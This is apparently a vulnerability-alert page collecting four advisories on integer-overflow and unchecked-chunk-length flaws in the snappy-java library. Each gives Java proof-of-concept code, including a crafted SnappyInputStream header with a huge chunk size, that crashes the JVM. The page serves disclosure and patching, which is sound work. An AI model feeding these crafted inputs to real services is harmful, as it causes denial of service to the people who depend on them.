Where
-Infinity
0
Severity
7.5
Integer Overflow
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary Due to unchecked multiplications, an integer overflow may occur, causing a fatal error. Impact Denial of Service Description The function [shuffle(int[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107) in the file BitShuffle.java receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.

java public static byte[] shuffle(int[] input) throws IOException { byte[] output = new byte[input.length 4]; int numProcessed = impl.shuffle(input, 0, 4, input.length 4, output, 0); assert(numProcessed == input.length 4); return output; }

Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”. The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.

Steps To Reproduce Compile and run the following code:

java package org.example; import org.xerial.snappy.BitShuffle;

import java.io.;

public class Main {

public static void main(String[] args) throws IOException { int[] original = new int[0x40000000]; byte[] shuffled = BitShuffle.shuffle(original); System.out.println(shuffled[0]); } }

The program will crash, showing the following error (or similar):

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0 at org.example.Main.main(Main.java:12)

Process finished with exit code 1

Alternatively - compile and run the following code:

java package org.example; import org.xerial.snappy.BitShuffle;

import java.io.;

public class Main {

public static void main(String[] args) throws IOException { int[] original = new int[0x20000000]; byte[] shuffled = BitShuffle.shuffle(original); } }

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648 at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108) at org.example.Main.main(Main.java:11)

1 / 4
First published (updated )
Severity
7.5
Integer Overflow
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary Due to unchecked multiplications, an integer overflow may occur, causing an unrecoverable fatal error. Impact Denial of Service Description The function [compress(char[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/Snappy.java#L169) in the file Snappy.java receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the rawCompress function.

java public static byte[] compress(char[] input) throws IOException { return rawCompress(input, input.length 2); // char uses 2 bytes }

Since the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array.

java public static byte[] rawCompress(Object data, int byteSize) throws IOException { byte[] buf = new byte[Snappy.maxCompressedLength(byteSize)]; int compressedByteSize = impl.rawCompress(data, 0, byteSize, buf, 0); byte[] result = new byte[compressedByteSize]; System.arraycopy(buf, 0, result, 0, compressedByteSize); return result; }

Since the maxCompressedLength function treats the length as an unsigned integer, it doesn’t care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a “java.lang.NegativeArraySizeException” exception will be raised while trying to allocate the array “buf”. On the other side, if the result is positive, the “buf” array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error. The same issue exists also when using the “compress” functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won’t occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place.

Steps To Reproduce Compile and run the following code:

java package org.example; import org.xerial.snappy.Snappy;

import java.io.;

public class Main {

public static void main(String[] args) throws IOException { char[] uncompressed = new char[0x40000000]; byte[] compressed = Snappy.compress(uncompressed); } }

The program will crash, creating crashdumps and showing the following error (or similar):

A fatal error has been detected by the Java Runtime Environment: EXCEPTIONACCESSVIOLATION (0xc0000005) at pc=0x0000000063a01c20, pid=21164, tid=508 .......

Alternatively - compile and run the following code:

java package org.example; import org.xerial.snappy.Snappy;

import java.io.;

public class Main {

public static void main(String[] args) throws IOException { char[] uncompressed = new char[0x3fffffff]; byte[] compressed = Snappy.compress(uncompressed); } }

The program will crash with the following error (or similar), since the maxCompressedLength returns a value that is interpreted as negative by java:

Exception in thread "main" java.lang.NegativeArraySizeException: -1789569677 at org.xerial.snappy.Snappy.rawCompress(Snappy.java:425) at org.xerial.snappy.Snappy.compress(Snappy.java:172) at org.example.Main.main(Main.java:10)

1 / 4
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur.

Scope

All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4

Details While performing mitigation efforts related to CVE-2023-34455 in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in this commit. The check on line 421 only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually attempting to allocate the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs.

PoC Compile and run the following code: package org.example; import org.xerial.snappy.SnappyInputStream;

import java.io.;

public class Main {

public static void main(String[] args) throws IOException { byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); byte[] out = new byte[50]; try { in.read(out); } catch (Exception ignored) { } } }

Impact Denial of Service of applications dependent on snappy-java especially if ExitOnOutOfMemoryError or CrashOnOutOfMemoryError is configured on the JVM.

Credits Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team.

We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability.

1 / 4
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary Due to use of an unchecked chunk length, an unrecoverable fatal error can occur. Impact Denial of Service Description The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.

java int readBytes = readNext(header, 0, 4); if (readBytes < 4) { return false; }

int chunkSize = SnappyOutputStream.readInt(header, 0); if (chunkSize == SnappyCodec.MAGICHEADERHEAD) { ......... }

// extend the compressed data buffer size if (compressed == null || chunkSize > compressed.length) { compressed = new byte[chunkSize]; }

In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.

Steps To Reproduce Compile and run the following code:

java package org.example; import org.xerial.snappy.SnappyInputStream;

import java.io.;

public class Main {

public static void main(String[] args) throws IOException { byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); byte[] out = new byte[50]; try { in.read(out); } catch (Exception ignored) {

} } }

The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:

Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422) at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167) at java.base/java.io.InputStream.read(InputStream.java:217) at org.example.Main.main(Main.java:12)

Alternatively - compile and run the following code:

java package org.example; import org.xerial.snappy.SnappyInputStream;

import java.io.;

public class Main {

public static void main(String[] args) throws IOException { byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff}; SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); byte[] out = new byte[50]; in.read(out); } }

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -1 at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422) at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167) at java.base/java.io.InputStream.read(InputStream.java:217) at org.example.Main.main(Main.java:12)

It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.

1 / 6
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203